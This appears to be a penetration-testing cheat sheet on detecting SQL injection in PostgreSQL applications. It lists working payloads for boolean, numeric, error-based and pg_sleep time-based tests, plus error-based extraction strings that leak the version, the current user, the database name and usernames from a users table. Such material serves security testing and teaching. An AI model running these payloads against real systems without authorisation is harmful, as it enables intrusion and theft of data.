postgresql

Testing Injection

Methods to verify if a PostgreSQL injection point exists

Testing for Injection

When testing for SQL injection vulnerabilities in PostgreSQL applications, use these techniques to identify injection points.

Basic Tests

Test Payload Expected Behavior
' Causes SQL syntax error
'' No error (escaped quote)
' OR '1'='1 Always true condition
' OR '1'='2 Always false condition
' AND '1'='1 True if injection exists

Numeric Injection Tests

For numeric parameters:

-- Original: SELECT * FROM products WHERE id = 1
1 AND 1=1        -- True, should return same result
1 AND 1=2        -- False, should return different/no result
1-false::int     -- Returns 1 (false = 0)
1-true::int      -- Returns 0 (true = 1)

Note: PostgreSQL does not implicitly convert booleans to integers in arithmetic expressions. Unlike MySQL where 1-false works directly, PostgreSQL requires explicit casting (::int) or the query fails with "operator does not exist: integer - boolean".

String Concatenation Tests

PostgreSQL uses || for string concatenation:

-- Original: SELECT * FROM users WHERE name = 'admin'
adm'||'in    -- Should work if injection exists

Boolean-Based Detection

' AND 1=1--
' AND 1=2--

If the first returns results and the second doesn't, injection likely exists.

PostgreSQL-Specific Tests

Use PostgreSQL-specific syntax to confirm the database type:

-- PostgreSQL cast shorthand (::type)
' AND 1::int=1--

-- Using CAST function
' AND 1=CAST(1 AS int)--

-- PostgreSQL-specific functions
' AND version() IS NOT NULL--
' AND current_database() IS NOT NULL--
' AND current_schema() IS NOT NULL--

The ::type cast syntax is unique to PostgreSQL and won't work on MySQL or MSSQL.

Error-Based Detection

Force errors to confirm PostgreSQL:

-- Basic type conversion error
' AND 1=CAST('a' AS int)--

-- Using :: shorthand
' AND 'a'::int=1--

This should produce a PostgreSQL-specific error message indicating the database type.

Error-Based Data Extraction

Extract data through error messages using type casting:

-- Extract version via CAST error
' AND 1=CAST((SELECT version()) AS int)--

-- Alternative: using :: syntax
' AND (SELECT version())::int=1--

-- Extract current user
' AND 1=CAST((SELECT current_user) AS int)--

-- Extract database name
' AND 1=CAST((SELECT current_database()) AS int)--

-- Extract with string markers (easier to find in error)
' AND 1=CAST('~'||(SELECT version())||'~' AS NUMERIC)--

-- Extract table data
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--

The error message will contain the string value that couldn't be converted, revealing the data.

Time-Based Detection

'; SELECT pg_sleep(5)--
' AND (SELECT pg_sleep(5)) IS NOT NULL--

If the page takes 5 seconds longer to load, injection exists and PostgreSQL is confirmed.

Notes

  • PostgreSQL is case-sensitive for string comparisons by default
  • Always test with both single and double quotes
  • Check for error messages that reveal PostgreSQL-specific information